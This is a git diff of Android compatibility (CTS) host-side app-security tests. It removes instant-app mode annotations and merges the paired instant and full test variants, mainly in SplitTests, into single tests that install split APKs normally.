diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
index e1d913e..15c3d3c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -28,7 +27,6 @@
 /**
  * Test that install of apps using major version codes is being handled properly.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class MajorVersionTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
     private static final String PKG = "com.android.cts.majorversion";
     private static final String APK_000000000000ffff = "CtsMajorVersion000000000000ffff.apk";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
index b4d6877..cf903db 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/OverlayHostTest.java
@@ -15,13 +15,11 @@
  */
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 
-@AppModeFull // TODO: Needs porting to instant
 public class OverlayHostTest extends DeviceTestCase implements IBuildReceiver {
     private static final String PKG = "com.android.cts.overlayapp";
     private static final String APK = "CtsOverlayApp.apk";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
index 8e409bb..680798a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
@@ -19,7 +19,6 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -53,7 +52,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testResolveOrderedActivity() throws Exception {
         getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
         Utils.runDeviceTests(getDevice(), TINY_PKG,
@@ -62,7 +60,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testResolveOrderedService() throws Exception {
         getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
         Utils.runDeviceTests(getDevice(), TINY_PKG,
@@ -71,7 +68,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testResolveOrderedReceiver() throws Exception {
         getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
         Utils.runDeviceTests(getDevice(), TINY_PKG,
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
index ffce613..5bb70d1 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
@@ -19,7 +19,6 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -67,7 +66,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testUninstalledPackageVisibility() throws Exception {
         if (!mSupportsMultiUser) {
             return;
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index 3d270b90..e4b0f09 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -31,7 +30,6 @@
  * Set of tests that verify behavior of runtime permissions, including both
  * dynamic granting and behavior of legacy apps.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class PermissionsHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
     private static final String USES_PERMISSION_PKG = "com.android.cts.usepermission";
     private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 83a22cf..48a8ac7 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -37,7 +36,6 @@
 /**
  * Tests for APK signature verification during installation.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class PkgInstallSignatureVerificationTest extends DeviceTestCase implements IBuildReceiver {
 
     private static final String TEST_PKG = "android.appsecurity.cts.tinyapp";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index 5f59d34..66cee05 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.build.IBuildInfo;
@@ -32,7 +31,6 @@
 /**
  * Tests that verify intent filters.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class PrivilegedUpdateTests extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
     private static final String TAG = "PrivilegedUpdateTests";
     private static final String SHIM_PKG = "com.android.cts.priv.ctsshim";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java
index b40d806..96992bf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ScopedDirectoryAccessTest.java
@@ -16,12 +16,9 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
-
 /**
  * Set of tests that verify behavior of the Scoped Directory access API.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class ScopedDirectoryAccessTest extends DocumentsTestCase {
 
     public void testInvalidPath() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index f8841cb..acec1fb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -16,8 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.AppModeInstant;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -37,7 +35,6 @@
 
     static final String PKG = "com.android.cts.splitapp";
     static final String CLASS = PKG + ".SplitAppTest";
-    static final String CLASS_NO_RESTART = PKG_NO_RESTART + ".NoRestartTest";
 
     static final String APK = "CtsSplitApp.apk";
 
@@ -114,51 +111,19 @@
         getDevice().uninstallPackage(PKG_NO_RESTART);
     }
 
-    @AppModeInstant
-    public void testSingleBaseInstant() throws Exception {
-        testSingleBase(true);
-    }
-
-    @AppModeFull
-    public void testSingleBaseFull() throws Exception {
-        testSingleBase(false);
-    }
-
-    private void testSingleBase(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK)
-                .addArg(instant ? "--instant" : "").run();
+    public void testSingleBase() throws Exception {
+        new InstallMultiple().addApk(APK).run();
         runDeviceTests(PKG, CLASS, "testSingleBase");
     }
 
-    @AppModeInstant
-    public void testDensitySingleInstant() throws Exception {
-        testDensitySingle(true);
-    }
-
-    @AppModeFull
-    public void testDensitySingleFull() throws Exception {
-        testDensitySingle(false);
-    }
-
-    private void testDensitySingle(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_mdpi)
-                .addArg(instant ? "--instant" : "").run();
+    public void testDensitySingle() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_mdpi).run();
         runDeviceTests(PKG, CLASS, "testDensitySingle");
     }
 
-    @AppModeInstant
-    public void testDensityAllInstant() throws Exception {
-        testDensityAll(true);
-    }
-
-    @AppModeFull
-    public void testDensityAllFull() throws Exception {
-        testDensityAll(false);
-    }
-
-    private void testDensityAll(boolean instant) throws Exception {
+    public void testDensityAll() throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_mdpi).addApk(APK_hdpi).addApk(APK_xhdpi)
-                .addApk(APK_xxhdpi).addArg(instant ? "--instant" : "").run();
+                .addApk(APK_xxhdpi).run();
         runDeviceTests(PKG, CLASS, "testDensityAll");
     }
 
@@ -166,28 +131,12 @@
      * Install first with low-resolution resources, then add a split that offers
      * higher-resolution resources.
      */
-    @AppModeInstant
-    public void testDensityBestInstant() throws Exception {
-        testDensityBest(true);
-    }
-
-    /**
-     * Install first with low-resolution resources, then add a split that offers
-     * higher-resolution resources.
-     */
-    @AppModeFull
-    public void testDensityBestFull() throws Exception {
-        testDensityBest(false);
-    }
-
-    private void testDensityBest(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_mdpi)
-                .addArg(instant ? "--instant" : "").run();
+    public void testDensityBest() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_mdpi).run();
         runDeviceTests(PKG, CLASS, "testDensityBest1");
 
         // Now splice in an additional split which offers better resources
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_xxhdpi)
-                .addArg(instant ? "--instant" : "").run();
+        new InstallMultiple().inheritFrom(PKG).addApk(APK_xxhdpi).run();
         runDeviceTests(PKG, CLASS, "testDensityBest2");
     }
 
@@ -195,39 +144,13 @@
      * Verify that an API-based split can change enabled/disabled state of
      * manifest elements.
      */
-    @AppModeInstant
-    public void testApiInstant() throws Exception {
-        testApi(true);
-    }
-
-    /**
-     * Verify that an API-based split can change enabled/disabled state of
-     * manifest elements.
-     */
-    @AppModeFull
-    public void testApiFull() throws Exception {
-        testApi(false);
-    }
-
-    private void testApi(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_v7)
-                .addArg(instant ? "--instant" : "").run();
+    public void testApi() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_v7).run();
         runDeviceTests(PKG, CLASS, "testApi");
     }
 
-    @AppModeInstant
-    public void testLocaleInstant() throws Exception {
-        testLocale(true);
-    }
-
-    @AppModeFull
-    public void testLocaleFull() throws Exception {
-        testLocale(false);
-    }
-
-    private void testLocale(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_de).addApk(APK_fr)
-                .addArg(instant ? "--instant" : "").run();
+    public void testLocale() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_de).addApk(APK_fr).run();
         runDeviceTests(PKG, CLASS, "testLocale");
     }
 
@@ -235,27 +158,12 @@
      * Install test app with <em>single</em> split that exactly matches the
      * currently active ABI. This also explicitly forces ABI when installing.
      */
-    @AppModeInstant
-    public void testNativeSingleInstant() throws Exception {
-        testNativeSingle(true);
-    }
-
-    /**
-     * Install test app with <em>single</em> split that exactly matches the
-     * currently active ABI. This also explicitly forces ABI when installing.
-     */
-    @AppModeFull
-    public void testNativeSingleFull() throws Exception {
-        testNativeSingle(false);
-    }
-
-    private void testNativeSingle(boolean instant) throws Exception {
+    public void testNativeSingle() throws Exception {
         final String abi = mAbi.getName();
         final String apk = ABI_TO_APK.get(abi);
         assertNotNull("Failed to find APK for ABI " + abi, apk);
 
-        new InstallMultiple().addApk(APK).addApk(apk)
-                .addArg(instant ? "--instant" : "").run();
+        new InstallMultiple().addApk(APK).addApk(apk).run();
         runDeviceTests(PKG, CLASS, "testNative");
     }
 
@@ -265,29 +173,12 @@
      * installing, instead exercising the system's ability to choose the ABI
      * through inspection of the installed app.
      */
-    @AppModeInstant
-    public void testNativeSingleNaturalInstant() throws Exception {
-        testNativeSingleNatural(true);
-    }
-
-    /**
-     * Install test app with <em>single</em> split that exactly matches the
-     * currently active ABI. This variant <em>does not</em> force the ABI when
-     * installing, instead exercising the system's ability to choose the ABI
-     * through inspection of the installed app.
-     */
-    @AppModeFull
-    public void testNativeSingleNaturalFull() throws Exception {
-        testNativeSingleNatural(false);
-    }
-
-    private void testNativeSingleNatural(boolean instant) throws Exception {
+    public void testNativeSingleNatural() throws Exception {
         final String abi = mAbi.getName();
         final String apk = ABI_TO_APK.get(abi);
         assertNotNull("Failed to find APK for ABI " + abi, apk);
 
-        new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk)
-                .addArg(instant ? "--instant" : "").run();
+        new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk).run();
         runDeviceTests(PKG, CLASS, "testNative");
     }
 
@@ -295,289 +186,103 @@
      * Install test app with <em>all</em> possible ABI splits. This also
      * explicitly forces ABI when installing.
      */
-    @AppModeInstant
-    public void testNativeAllInstant() throws Exception {
-        testNativeAll(true, false);
-    }
-
-    /**
-     * Install test app with <em>all</em> possible ABI splits. This also
-     * explicitly forces ABI when installing.
-     */
-    @AppModeFull
-    public void testNativeAllFull() throws Exception {
-        testNativeAll(false, false);
-    }
-
-    /**
-     * Install test app with <em>all</em> possible ABI splits. This variant
-     * <em>does not</em> force the ABI when installing, instead exercising the
-     * system's ability to choose the ABI through inspection of the installed
-     * app.
-     */
-    @AppModeInstant
-    public void testNativeAllNaturalInstant() throws Exception {
-        testNativeAll(true, true);
-    }
-
-    /**
-     * Install test app with <em>all</em> possible ABI splits. This variant
-     * <em>does not</em> force the ABI when installing, instead exercising the
-     * system's ability to choose the ABI through inspection of the installed
-     * app.
-     */
-    @AppModeFull
-    public void testNativeAllNaturalFull() throws Exception {
-        testNativeAll(false, true);
-    }
-
-    private void testNativeAll(boolean instant, boolean natural) throws Exception {
+    public void testNativeAll() throws Exception {
         final InstallMultiple inst = new InstallMultiple().addApk(APK);
         for (String apk : ABI_TO_APK.values()) {
             inst.addApk(apk);
         }
-        if (instant) {
-            inst.addArg("--instant");
-        }
-        if (natural) {
-            inst.useNaturalAbi();
-        }
         inst.run();
         runDeviceTests(PKG, CLASS, "testNative");
     }
 
-    @AppModeInstant
-    public void testDuplicateBaseInstant() throws Exception {
-        testDuplicateBase(true);
+    /**
+     * Install test app with <em>all</em> possible ABI splits. This variant
+     * <em>does not</em> force the ABI when installing, instead exercising the
+     * system's ability to choose the ABI through inspection of the installed
+     * app.
+     */
+    public void testNativeAllNatural() throws Exception {
+        final InstallMultiple inst = new InstallMultiple().useNaturalAbi().addApk(APK);
+        for (String apk : ABI_TO_APK.values()) {
+            inst.addApk(apk);
+        }
+        inst.run();
+        runDeviceTests(PKG, CLASS, "testNative");
     }
 
-    @AppModeFull
-    public void testDuplicateBaseFull() throws Exception {
-        testDuplicateBase(false);
+    public void testDuplicateBase() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK).runExpectingFailure();
     }
 
-    private void testDuplicateBase(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
-    }
-
-    @AppModeInstant
     public void testDuplicateSplit() throws Exception {
-        testDuplicateSplit(true);
+        new InstallMultiple().addApk(APK).addApk(APK_v7).addApk(APK_v7).runExpectingFailure();
     }
 
-    @AppModeFull
-    public void testDuplicateSplitFull() throws Exception {
-        testDuplicateSplit(false);
+    public void testDiffCert() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_DIFF_CERT_v7).runExpectingFailure();
     }
 
-    private void testDuplicateSplit(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_v7).addApk(APK_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
+    public void testDiffCertInherit() throws Exception {
+        new InstallMultiple().addApk(APK).run();
+        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_CERT_v7).runExpectingFailure();
     }
 
-    @AppModeInstant
-    public void testDiffCertInstant() throws Exception {
-        testDiffCert(true);
+    public void testDiffVersion() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_DIFF_VERSION_v7).runExpectingFailure();
     }
 
-    @AppModeFull
-    public void testDiffCertFull() throws Exception {
-        testDiffCert(false);
+    public void testDiffVersionInherit() throws Exception {
+        new InstallMultiple().addApk(APK).run();
+        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_VERSION_v7).runExpectingFailure();
     }
 
-    private void testDiffCert(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_DIFF_CERT_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
-    }
-
-    @AppModeInstant
-    public void testDiffCertInheritInstant() throws Exception {
-        testDiffCertInherit(true);
-    }
-
-    @AppModeFull
-    public void testDiffCertInheritFull() throws Exception {
-        testDiffCertInherit(false);
-    }
-
-    private void testDiffCertInherit(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK) .addArg(instant ? "--instant" : "").run();
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_CERT_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
-    }
-
-    @AppModeInstant
-    public void testDiffVersionInstant() throws Exception {
-        testDiffVersion(true);
-    }
-
-    @AppModeFull
-    public void testDiffVersionFull() throws Exception {
-        testDiffVersion(false);
-    }
-
-    private void testDiffVersion(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_DIFF_VERSION_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
-    }
-
-    @AppModeInstant
-    public void testDiffVersionInheritInstant() throws Exception {
-        testDiffVersionInherit(true);
-    }
-
-    @AppModeFull
-    public void testDiffVersionInheritFull() throws Exception {
-        testDiffVersionInherit(false);
-    }
-
-    private void testDiffVersionInherit(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addArg(instant ? "--instant" : "").run();
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_VERSION_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
-    }
-
-    @AppModeInstant
-    public void testDiffRevisionInstant() throws Exception {
-        testDiffRevision(true);
-    }
-
-    @AppModeFull
-    public void testDiffRevisionFull() throws Exception {
-        testDiffRevision(false);
-    }
-
-    private void testDiffRevision(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7)
-                .addArg(instant ? "--instant" : "").run();
+    public void testDiffRevision() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7).run();
         runDeviceTests(PKG, CLASS, "testRevision0_12");
     }
 
-    @AppModeInstant
-    public void testDiffRevisionInheritBaseInstant() throws Exception {
-        testDiffRevisionInheritBase(true);
-    }
-
-    @AppModeFull
-    public void testDiffRevisionInheritBaseFull() throws Exception {
-        testDiffRevisionInheritBase(false);
-    }
-
-    private void testDiffRevisionInheritBase(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_v7)
-                .addArg(instant ? "--instant" : "").run();
+    public void testDiffRevisionInheritBase() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_v7).run();
         runDeviceTests(PKG, CLASS, "testRevision0_0");
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION_v7)
-                .addArg(instant ? "--instant" : "").run();
+        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION_v7).run();
         runDeviceTests(PKG, CLASS, "testRevision0_12");
     }
 
-    @AppModeInstant
-    public void testDiffRevisionInheritSplitInstant() throws Exception {
-        testDiffRevisionInheritSplit(true);
-    }
-
-    @AppModeFull
-    public void testDiffRevisionInheritSplitFull() throws Exception {
-        testDiffRevisionInheritSplit(false);
-    }
-
-    private void testDiffRevisionInheritSplit(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_v7)
-                .addArg(instant ? "--instant" : "").run();
+    public void testDiffRevisionInheritSplit() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_v7).run();
         runDeviceTests(PKG, CLASS, "testRevision0_0");
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION)
-                .addArg(instant ? "--instant" : "").run();
+        new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION).run();
         runDeviceTests(PKG, CLASS, "testRevision12_0");
     }
 
-    @AppModeInstant
-    public void testDiffRevisionDowngradeInstant() throws Exception {
-        testDiffRevisionDowngrade(true);
+    public void testDiffRevisionDowngrade() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7).run();
+        new InstallMultiple().inheritFrom(PKG).addApk(APK_v7).runExpectingFailure();
     }
 
-    @AppModeFull
-    public void testDiffRevisionDowngradeFull() throws Exception {
-        testDiffRevisionDowngrade(false);
-    }
-
-    private void testDiffRevisionDowngrade(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7)
-                .addArg(instant ? "--instant" : "").run();
-        new InstallMultiple().inheritFrom(PKG).addApk(APK_v7)
-                .addArg(instant ? "--instant" : "").runExpectingFailure();
-    }
-
-    @AppModeInstant
-    public void testFeatureBaseInstant() throws Exception {
-        testFeatureBase(true);
-    }
-
-    @AppModeFull
-    public void testFeatureBaseFull() throws Exception {
-        testFeatureBase(false);
-    }
-
-    private void testFeatureBase(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_FEATURE)
-                .addArg(instant ? "--instant" : "").run();
+    public void testFeatureBase() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_FEATURE).run();
         runDeviceTests(PKG, CLASS, "testFeatureBase");
     }
 
-    @AppModeInstant
-    public void testFeatureApiInstant() throws Exception {
-        testFeatureApiInstant(true);
-    }
-
-    @AppModeFull
-    public void testFeatureApiFull() throws Exception {
-        testFeatureApiInstant(false);
-    }
-
-    private void testFeatureApiInstant(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK).addApk(APK_FEATURE).addApk(APK_FEATURE_v7)
-                .addArg(instant ? "--instant" : "").run();
+    public void testFeatureApi() throws Exception {
+        new InstallMultiple().addApk(APK).addApk(APK_FEATURE).addApk(APK_FEATURE_v7).run();
         runDeviceTests(PKG, CLASS, "testFeatureApi");
     }
 
-    @AppModeFull
-    @AppModeInstant
     public void testInheritUpdatedBase() throws Exception {
         // TODO: flesh out this test
     }
 
-    @AppModeFull
-    @AppModeInstant
     public void testInheritUpdatedSplit() throws Exception {
         // TODO: flesh out this test
     }
 
-    @AppModeInstant
-    public void testFeatureWithoutRestartInstant() throws Exception {
-        testFeatureWithoutRestart(true);
-    }
-
-    @AppModeFull
-    public void testFeatureWithoutRestartFull() throws Exception {
-        testFeatureWithoutRestart(false);
-    }
-
-    private void testFeatureWithoutRestart(boolean instant) throws Exception {
+    public void testFeatureWithoutRestart() throws Exception {
         new InstallMultiple().addApk(APK).run();
-
-        new InstallMultiple().addApk(APK_NO_RESTART_BASE)
-                .addArg(instant ? "--instant" : "").run();
-
-        if (instant) {
-            // Poke the full app so it can see the instant app.
-            runDeviceTests(PKG_NO_RESTART, CLASS_NO_RESTART, "testPokeFullApp");
-        }
-
+        new InstallMultiple().addApk(APK_NO_RESTART_BASE).run();
         runDeviceTests(PKG, CLASS, "testBaseInstalled");
-
         new InstallMultiple()
-                .addArg(instant ? "--instant" : "")
                 .addArg("--dont-kill")
                 .inheritFrom(PKG_NO_RESTART)
                 .addApk(APK_NO_RESTART_FEATURE)
@@ -588,25 +293,10 @@
     /**
      * Verify that installing a new version of app wipes code cache.
      */
-    @AppModeInstant
-    public void testClearCodeCacheInstant() throws Exception {
-        testClearCodeCache(true);
-    }
-
-    /**
-     * Verify that installing a new version of app wipes code cache.
-     */
-    @AppModeFull
-    public void testClearCodeCacheFull() throws Exception {
-        testClearCodeCache(false);
-    }
-
-    private void testClearCodeCache(boolean instant) throws Exception {
-        new InstallMultiple().addApk(APK)
-                .addArg(instant ? "--instant" : "").run();
+    public void testClearCodeCache() throws Exception {
+        new InstallMultiple().addApk(APK).run();
         runDeviceTests(PKG, CLASS, "testCodeCacheWrite");
-        new InstallMultiple().addArg("-r").addApk(APK_DIFF_VERSION)
-                .addArg(instant ? "--instant" : "").run();
+        new InstallMultiple().addArg("-r").addApk(APK_DIFF_VERSION).run();
         runDeviceTests(PKG, CLASS, "testCodeCacheRead");
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index 7c64324..38f7347 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -16,7 +16,6 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.result.TestDescription;
@@ -74,13 +73,11 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerify() throws Exception {
         Utils.runDeviceTests(getDevice(), PKG_STATS, CLASS_STATS, "testVerify");
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyAppStats() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testAllocate", user);
@@ -99,7 +96,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyAppQuota() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testVerifyQuotaApi", user);
@@ -107,7 +103,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyAppAllocate() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testVerifyAllocateApi", user);
@@ -115,7 +110,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifySummary() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifySummary", user);
@@ -123,7 +117,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyStats() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStats", user);
@@ -131,7 +124,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyStatsMultiple() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_A, CLASS, "testAllocate", user);
@@ -146,7 +138,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyStatsExternal() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternal", user);
@@ -154,7 +145,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyStatsExternalConsistent() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternalConsistent", user);
@@ -162,7 +152,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testVerifyCategory() throws Exception {
         for (int user : mUsers) {
             runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyCategory", user);
@@ -170,7 +159,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testCache() throws Exception {
         // To make the cache clearing logic easier to verify, ignore any cache
         // and low space reserved space.
@@ -197,7 +185,6 @@
     }
 
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testFullDisk() throws Exception {
         // Clear all other cached and external storage data to give ourselves a
         // clean slate to test against
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
index a8c3dd9..4afeb9bf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
@@ -16,7 +16,6 @@
 
